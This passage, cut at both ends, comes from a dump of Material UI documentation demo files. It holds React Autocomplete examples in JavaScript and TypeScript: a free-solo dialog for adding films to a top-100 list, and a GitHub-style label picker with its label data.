},\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/FreeSoloCreateOptionDialog.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Dialog from '@mui/material/Dialog';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogActions from '@mui/material/DialogActions';\nimport Button from '@mui/material/Button';\nimport Autocomplete, { createFilterOptions } from '@mui/material/Autocomplete';\n\nconst filter = createFilterOptions();\n\nexport default function FreeSoloCreateOptionDialog() {\n  const [value, setValue] = React.useState(null);\n  const [open, toggleOpen] = React.useState(false);\n\n  const handleClose = () => {\n    setDialogValue({\n      title: '',\n      year: '',\n    });\n    toggleOpen(false);\n  };\n\n  const [dialogValue, setDialogValue] = React.useState({\n    title: '',\n    year: '',\n  });\n\n  const handleSubmit = (event) => {\n    event.preventDefault();\n    setValue({\n      title: dialogValue.title,\n      year: parseInt(dialogValue.year, 10),\n    });\n    handleClose();\n  };\n\n  return (\n    <React.Fragment>\n      <Autocomplete\n        value={value}\n        onChange={(event, newValue) => {\n          if (typeof newValue === 'string') {\n            // timeout to avoid instant validation of the dialog's form.\n            setTimeout(() => {\n              toggleOpen(true);\n              setDialogValue({\n                title: newValue,\n                year: '',\n              });\n            });\n          } else if (newValue && newValue.inputValue) {\n            toggleOpen(true);\n            setDialogValue({\n              title: newValue.inputValue,\n              year: '',\n            });\n          } else {\n            setValue(newValue);\n          }\n        }}\n        filterOptions={(options, params) => {\n          const filtered = filter(options, params);\n\n          if (params.inputValue !== '') {\n            filtered.push({\n              inputValue: params.inputValue,\n              title: `Add \"${params.inputValue}\"`,\n            });\n          }\n\n          return filtered;\n        }}\n        id=\"free-solo-dialog-demo\"\n        options={top100Films}\n        getOptionLabel={(option) => {\n          // for example value selected with enter, right from the input\n          if (typeof option === 'string') {\n            return option;\n          }\n          if (option.inputValue) {\n            return option.inputValue;\n          }\n          return option.title;\n        }}\n        selectOnFocus\n        clearOnBlur\n        handleHomeEndKeys\n        renderOption={(props, option) => {\n          const { key, ...optionProps } = props;\n          return (\n            <li key={key} {...optionProps}>\n              {option.title}\n            </li>\n          );\n        }}\n        sx={{ width: 300 }}\n        freeSolo\n        renderInput={(params) => <TextField {...params} label=\"Free solo dialog\" />}\n      />\n      <Dialog open={open} onClose={handleClose}>\n        <form onSubmit={handleSubmit}>\n          <DialogTitle>Add a new film</DialogTitle>\n          <DialogContent>\n            <DialogContentText>\n              Did you miss any film in our list? Please, add it!\n            </DialogContentText>\n            <TextField\n              autoFocus\n              margin=\"dense\"\n              id=\"name\"\n              value={dialogValue.title}\n              onChange={(event) =>\n                setDialogValue({\n                  ...dialogValue,\n                  title: event.target.value,\n                })\n              }\n              label=\"title\"\n              type=\"text\"\n              variant=\"standard\"\n            />\n            <TextField\n              margin=\"dense\"\n              id=\"name\"\n              value={dialogValue.year}\n              onChange={(event) =>\n                setDialogValue({\n                  ...dialogValue,\n                  year: event.target.value,\n                })\n              }\n              label=\"year\"\n              type=\"number\"\n              variant=\"standard\"\n            />\n          </DialogContent>\n          <DialogActions>\n            <Button onClick={handleClose}>Cancel</Button>\n            <Button type=\"submit\">Add</Button>\n          </DialogActions>\n        </form>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/FreeSoloCreateOptionDialog.tsx",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Dialog from '@mui/material/Dialog';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogActions from '@mui/material/DialogActions';\nimport Button from '@mui/material/Button';\nimport Autocomplete, { createFilterOptions } from '@mui/material/Autocomplete';\n\nconst filter = createFilterOptions<FilmOptionType>();\n\nexport default function FreeSoloCreateOptionDialog() {\n  const [value, setValue] = React.useState<FilmOptionType | null>(null);\n  const [open, toggleOpen] = React.useState(false);\n\n  const handleClose = () => {\n    setDialogValue({\n      title: '',\n      year: '',\n    });\n    toggleOpen(false);\n  };\n\n  const [dialogValue, setDialogValue] = React.useState({\n    title: '',\n    year: '',\n  });\n\n  const handleSubmit = (event: React.FormEvent<HTMLFormElement>) => {\n    event.preventDefault();\n    setValue({\n      title: dialogValue.title,\n      year: parseInt(dialogValue.year, 10),\n    });\n    handleClose();\n  };\n\n  return (\n    <React.Fragment>\n      <Autocomplete\n        value={value}\n        onChange={(event, newValue) => {\n          if (typeof newValue === 'string') {\n            // timeout to avoid instant validation of the dialog's form.\n            setTimeout(() => {\n              toggleOpen(true);\n              setDialogValue({\n                title: newValue,\n                year: '',\n              });\n            });\n          } else if (newValue && newValue.inputValue) {\n            toggleOpen(true);\n            setDialogValue({\n              title: newValue.inputValue,\n              year: '',\n            });\n          } else {\n            setValue(newValue);\n          }\n        }}\n        filterOptions={(options, params) => {\n          const filtered = filter(options, params);\n\n          if (params.inputValue !== '') {\n            filtered.push({\n              inputValue: params.inputValue,\n              title: `Add \"${params.inputValue}\"`,\n            });\n          }\n\n          return filtered;\n        }}\n        id=\"free-solo-dialog-demo\"\n        options={top100Films}\n        getOptionLabel={(option) => {\n          // for example value selected with enter, right from the input\n          if (typeof option === 'string') {\n            return option;\n          }\n          if (option.inputValue) {\n            return option.inputValue;\n          }\n          return option.title;\n        }}\n        selectOnFocus\n        clearOnBlur\n        handleHomeEndKeys\n        renderOption={(props, option) => {\n          const { key, ...optionProps } = props;\n          return (\n            <li key={key} {...optionProps}>\n              {option.title}\n            </li>\n          );\n        }}\n        sx={{ width: 300 }}\n        freeSolo\n        renderInput={(params) => <TextField {...params} label=\"Free solo dialog\" />}\n      />\n      <Dialog open={open} onClose={handleClose}>\n        <form onSubmit={handleSubmit}>\n          <DialogTitle>Add a new film</DialogTitle>\n          <DialogContent>\n            <DialogContentText>\n              Did you miss any film in our list? Please, add it!\n            </DialogContentText>\n            <TextField\n              autoFocus\n              margin=\"dense\"\n              id=\"name\"\n              value={dialogValue.title}\n              onChange={(event) =>\n                setDialogValue({\n                  ...dialogValue,\n                  title: event.target.value,\n                })\n              }\n              label=\"title\"\n              type=\"text\"\n              variant=\"standard\"\n            />\n            <TextField\n              margin=\"dense\"\n              id=\"name\"\n              value={dialogValue.year}\n              onChange={(event) =>\n                setDialogValue({\n                  ...dialogValue,\n                  year: event.target.value,\n                })\n              }\n              label=\"year\"\n              type=\"number\"\n              variant=\"standard\"\n            />\n          </DialogContent>\n          <DialogActions>\n            <Button onClick={handleClose}>Cancel</Button>\n            <Button type=\"submit\">Add</Button>\n          </DialogActions>\n        </form>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n\ninterface FilmOptionType {\n  inputValue?: string;\n  title: string;\n  year?: number;\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films: readonly FilmOptionType[] = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/GitHubLabel.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { useTheme, styled } from '@mui/material/styles';\nimport Popper from '@mui/material/Popper';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\nimport SettingsIcon from '@mui/icons-material/Settings';\nimport CloseIcon from '@mui/icons-material/Close';\nimport DoneIcon from '@mui/icons-material/Done';\nimport Autocomplete, { autocompleteClasses } from '@mui/material/Autocomplete';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport InputBase from '@mui/material/InputBase';\nimport Box from '@mui/material/Box';\n\nconst StyledAutocompletePopper = styled('div')(({ theme }) => ({\n  [`& .${autocompleteClasses.paper}`]: {\n    boxShadow: 'none',\n    margin: 0,\n    color: 'inherit',\n    fontSize: 13,\n  },\n  [`& .${autocompleteClasses.listbox}`]: {\n    padding: 0,\n    backgroundColor: '#fff',\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#1c2128',\n    }),\n    [`& .${autocompleteClasses.option}`]: {\n      minHeight: 'auto',\n      alignItems: 'flex-start',\n      padding: 8,\n      borderBottom: '1px solid #eaecef',\n      ...theme.applyStyles('dark', {\n        borderBottom: '1px solid #30363d',\n      }),\n      '&[aria-selected=\"true\"]': {\n        backgroundColor: 'transparent',\n      },\n      [`&.${autocompleteClasses.focused}, &.${autocompleteClasses.focused}[aria-selected=\"true\"]`]:\n        {\n          backgroundColor: theme.palette.action.hover,\n        },\n    },\n  },\n  [`&.${autocompleteClasses.popperDisablePortal}`]: {\n    position: 'relative',\n  },\n}));\n\nfunction PopperComponent(props) {\n  const { disablePortal, anchorEl, open, ...other } = props;\n  return <StyledAutocompletePopper {...other} />;\n}\n\nPopperComponent.propTypes = {\n  anchorEl: PropTypes.any,\n  disablePortal: PropTypes.bool,\n  open: PropTypes.bool.isRequired,\n};\n\nconst StyledPopper = styled(Popper)(({ theme }) => ({\n  border: '1px solid #e1e4e8',\n  boxShadow: `0 8px 24px ${'rgba(149, 157, 165, 0.2)'}`,\n  color: '#24292e',\n  backgroundColor: '#fff',\n  borderRadius: 6,\n  width: 300,\n  zIndex: theme.zIndex.modal,\n  fontSize: 13,\n  ...theme.applyStyles('dark', {\n    border: '1px solid #30363d',\n    boxShadow: '0 8px 24px rgb(1, 4, 9)',\n    color: '#c9d1d9',\n    backgroundColor: '#1c2128',\n  }),\n}));\n\nconst StyledInput = styled(InputBase)(({ theme }) => ({\n  padding: 10,\n  width: '100%',\n  borderBottom: '1px solid #eaecef',\n  ...theme.applyStyles('dark', {\n    borderBottom: '1px solid #30363d',\n  }),\n  '& input': {\n    borderRadius: 4,\n    padding: 8,\n    transition: theme.transitions.create(['border-color', 'box-shadow']),\n    fontSize: 14,\n    backgroundColor: '#fff',\n    border: '1px solid #30363d',\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#0d1117',\n      border: '1px solid #eaecef',\n    }),\n    '&:focus': {\n      boxShadow: '0px 0px 0px 3px rgba(3, 102, 214, 0.3)',\n      borderColor: '#0366d6',\n      ...theme.applyStyles('dark', {\n        boxShadow: '0px 0px 0px 3px rgb(12, 45, 107)',\n        borderColor: '#388bfd',\n      }),\n    },\n  },\n}));\n\nconst Button = styled(ButtonBase)(({ theme }) => ({\n  fontSize: 13,\n  width: '100%',\n  textAlign: 'left',\n  paddingBottom: 8,\n  fontWeight: 600,\n  color: '#586069',\n  ...theme.applyStyles('dark', {\n    color: '#8b949e',\n  }),\n  '&:hover,&:focus': {\n    color: '#0366d6',\n    ...theme.applyStyles('dark', {\n      color: '#58a6ff',\n    }),\n  },\n  '& span': {\n    width: '100%',\n  },\n  '& svg': {\n    width: 16,\n    height: 16,\n  },\n}));\n\nexport default function GitHubLabel() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const [value, setValue] = React.useState([labels[1], labels[11]]);\n  const [pendingValue, setPendingValue] = React.useState([]);\n  const theme = useTheme();\n\n  const handleClick = (event) => {\n    setPendingValue(value);\n    setAnchorEl(event.currentTarget);\n  };\n\n  const handleClose = () => {\n    setValue(pendingValue);\n    if (anchorEl) {\n      anchorEl.focus();\n    }\n    setAnchorEl(null);\n  };\n\n  const open = Boolean(anchorEl);\n  const id = open ? 'github-label' : undefined;\n\n  return (\n    <React.Fragment>\n      <Box sx={{ width: 221, fontSize: 13 }}>\n        <Button disableRipple aria-describedby={id} onClick={handleClick}>\n          <span>Labels</span>\n          <SettingsIcon />\n        </Button>\n        {value.map((label) => (\n          <Box\n            key={label.name}\n            sx={{\n              mt: '3px',\n              height: 20,\n              padding: '.15em 4px',\n              fontWeight: 600,\n              lineHeight: '15px',\n              borderRadius: '2px',\n            }}\n            style={{\n              backgroundColor: label.color,\n              color: theme.palette.getContrastText(label.color),\n            }}\n          >\n            {label.name}\n          </Box>\n        ))}\n      </Box>\n      <StyledPopper id={id} open={open} anchorEl={anchorEl} placement=\"bottom-start\">\n        <ClickAwayListener onClickAway={handleClose}>\n          <div>\n            <Box\n              sx={(t) => ({\n                borderBottom: '1px solid #30363d',\n                padding: '8px 10px',\n                fontWeight: 600,\n                ...t.applyStyles('light', {\n                  borderBottom: '1px solid #eaecef',\n                }),\n              })}\n            >\n              Apply labels to this pull request\n            </Box>\n            <Autocomplete\n              open\n              multiple\n              onClose={(event, reason) => {\n                if (reason === 'escape') {\n                  handleClose();\n                }\n              }}\n              value={pendingValue}\n              onChange={(event, newValue, reason) => {\n                if (\n                  event.type === 'keydown' &&\n                  (event.key === 'Backspace' || event.key === 'Delete') &&\n                  reason === 'removeOption'\n                ) {\n                  return;\n                }\n                setPendingValue(newValue);\n              }}\n              disableCloseOnSelect\n              renderValue={() => null}\n              noOptionsText=\"No labels\"\n              renderOption={(props, option, { selected }) => {\n                const { key, ...optionProps } = props;\n                return (\n                  <li key={key} {...optionProps}>\n                    <Box\n                      component={DoneIcon}\n                      sx={{ width: 17, height: 17, mr: '5px', ml: '-2px' }}\n                      style={{\n                        visibility: selected ? 'visible' : 'hidden',\n                      }}\n                    />\n                    <Box\n                      component=\"span\"\n                      sx={{\n                        width: 14,\n                        height: 14,\n                        flexShrink: 0,\n                        borderRadius: '3px',\n                        mr: 1,\n                        mt: '2px',\n                      }}\n                      style={{ backgroundColor: option.color }}\n                    />\n                    <Box\n                      sx={(t) => ({\n                        flexGrow: 1,\n                        '& span': {\n                          color: '#8b949e',\n                          ...t.applyStyles('light', {\n                            color: '#586069',\n                          }),\n                        },\n                      })}\n                    >\n                      {option.name}\n                      <br />\n                      <span>{option.description}</span>\n                    </Box>\n                    <Box\n                      component={CloseIcon}\n                      sx={{ opacity: 0.6, width: 18, height: 18 }}\n                      style={{\n                        visibility: selected ? 'visible' : 'hidden',\n                      }}\n                    />\n                  </li>\n                );\n              }}\n              options={[...labels].sort((a, b) => {\n                // Display the selected labels first.\n                let ai = value.indexOf(a);\n                ai = ai === -1 ? value.length + labels.indexOf(a) : ai;\n                let bi = value.indexOf(b);\n                bi = bi === -1 ? value.length + labels.indexOf(b) : bi;\n                return ai - bi;\n              })}\n              getOptionLabel={(option) => option.name}\n              renderInput={(params) => (\n                <StyledInput\n                  ref={params.slotProps.input.ref}\n                  inputProps={params.slotProps.htmlInput}\n                  autoFocus\n                  placeholder=\"Filter labels\"\n                />\n              )}\n              slots={{\n                popper: PopperComponent,\n              }}\n            />\n          </div>\n        </ClickAwayListener>\n      </StyledPopper>\n    </React.Fragment>\n  );\n}\n\n// From https://github.com/abdonrd/github-labels\nconst labels = [\n  {\n    name: 'good first issue',\n    color: '#7057ff',\n    description: 'Good for newcomers',\n  },\n  {\n    name: 'help wanted',\n    color: '#008672',\n    description: 'Extra attention is needed',\n  },\n  {\n    name: 'priority: critical',\n    color: '#b60205',\n    description: '',\n  },\n  {\n    name: 'priority: high',\n    color: '#d93f0b',\n    description: '',\n  },\n  {\n    name: 'priority: low',\n    color: '#0e8a16',\n    description: '',\n  },\n  {\n    name: 'priority: medium',\n    color: '#fbca04',\n    description: '',\n  },\n  {\n    name: \"status: can't reproduce\",\n    color: '#fec1c1',\n    description: '',\n  },\n  {\n    name: 'status: confirmed',\n    color: '#215cea',\n    description: '',\n  },\n  {\n    name: 'status: duplicate',\n    color: '#cfd3d7',\n    description: 'This issue or pull request already exists',\n  },\n  {\n    name: 'status: needs information',\n    color: '#fef2c0',\n    description: '',\n  },\n  {\n    name: 'status: wont do/fix',\n    color: '#eeeeee',\n    description: 'This will not be worked on',\n  },\n  {\n    name: 'type: bug',\n    color: '#d73a4a',\n    description: \"Something isn't working\",\n  },\n  {\n    name: 'type: discussion',\n    color: '#d4c5f9',\n    description: '',\n  },\n  {\n    name: 'type: documentation',\n    color: '#006b75',\n    description: '',\n  },\n  {\n    name: 'type: enhancement',\n    color: '#84b6eb',\n    description: '',\n  },\n  {\n    name: 'type: epic',\n    color: '#3e4b9e',\n    description: 'A theme of work that contain sub-tasks',\n  },\n  {\n    name: 'type: feature request',\n    color: '#fbca04',\n    description: 'New feature or request',\n  },\n  {\n    name: 'type: question',\n    color: '#d876e3',\n    description: 'Further information is requested',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/GitHubLabel.tsx",
    "content": "import * as React from 'react';\nimport { useTheme, styled } from '@mui/material/styles';\nimport Popper from '@mui/material/Popper';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\nimport SettingsIcon from '@mui/icons-material/Settings';\nimport CloseIcon from '@mui/icons-material/Close';\nimport DoneIcon from '@mui/icons-material/Done';\nimport Autocomplete, {\n  AutocompleteCloseReason,\n  autocompleteClasses,\n} from '@mui/material/Autocomplete';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport InputBase from '@mui/material/InputBase';\nimport Box from '@mui/material/Box';\n\ninterface PopperComponentProps {\n  anchorEl?: any;\n  disablePortal?: boolean;\n  open: boolean;\n}\n\nconst StyledAutocompletePopper = styled('div')(({ theme }) => ({\n  [`& .${autocompleteClasses.paper}`]: {\n    boxShadow: 'none',\n    margin: 0,\n    color: 'inherit',\n    fontSize: 13,\n  },\n  [`& .${autocompleteClasses.listbox}`]: {\n    padding: 0,\n    backgroundColor: '#fff',\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#1c2128',\n    }),\n    [`& .${autocompleteClasses.option}`]: {\n      minHeight: 'auto',\n      alignItems: 'flex-start',\n      padding: 8,\n      borderBottom: '1px solid #eaecef',\n      ...theme.applyStyles('dark', {\n        borderBottom: '1px solid #30363d',\n      }),\n      '&[aria-selected=\"true\"]': {\n        backgroundColor: 'transparent',\n      },\n      [`&.${autocompleteClasses.focused}, &.${autocompleteClasses.focused}[aria-selected=\"true\"]`]:\n        {\n          backgroundColor: theme.palette.action.hover,\n        },\n    },\n  },\n  [`&.${autocompleteClasses.popperDisablePortal}`]: {\n    position: 'relative',\n  },\n}));\n\nfunction PopperComponent(props: PopperComponentProps) {\n  const { disablePortal, anchorEl, open, ...other } = props;\n  return <StyledAutocompletePopper {...other} />;\n}\n\nconst StyledPopper = styled(Popper)(({ theme }) => ({\n  border: '1px solid #e1e4e8',\n  boxShadow: `0 8px 24px ${'rgba(149, 157, 165, 0.2)'}`,\n  color: '#24292e',\n  backgroundColor: '#fff',\n  borderRadius: 6,\n  width: 300,\n  zIndex: theme.zIndex.modal,\n  fontSize: 13,\n  ...theme.applyStyles('dark', {\n    border: '1px solid #30363d',\n    boxShadow: '0 8px 24px rgb(1, 4, 9)',\n    color: '#c9d1d9',\n    backgroundColor: '#1c2128',\n  }),\n}));\n\nconst StyledInput = styled(InputBase)(({ theme }) => ({\n  padding: 10,\n  width: '100%',\n  borderBottom: '1px solid #eaecef',\n  ...theme.applyStyles('dark', {\n    borderBottom: '1px solid #30363d',\n  }),\n  '& input': {\n    borderRadius: 4,\n    padding: 8,\n    transition: theme.transitions.create(['border-color', 'box-shadow']),\n    fontSize: 14,\n    backgroundColor: '#fff',\n    border: '1px solid #30363d',\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#0d1117',\n      border: '1px solid #eaecef',\n    }),\n    '&:focus': {\n      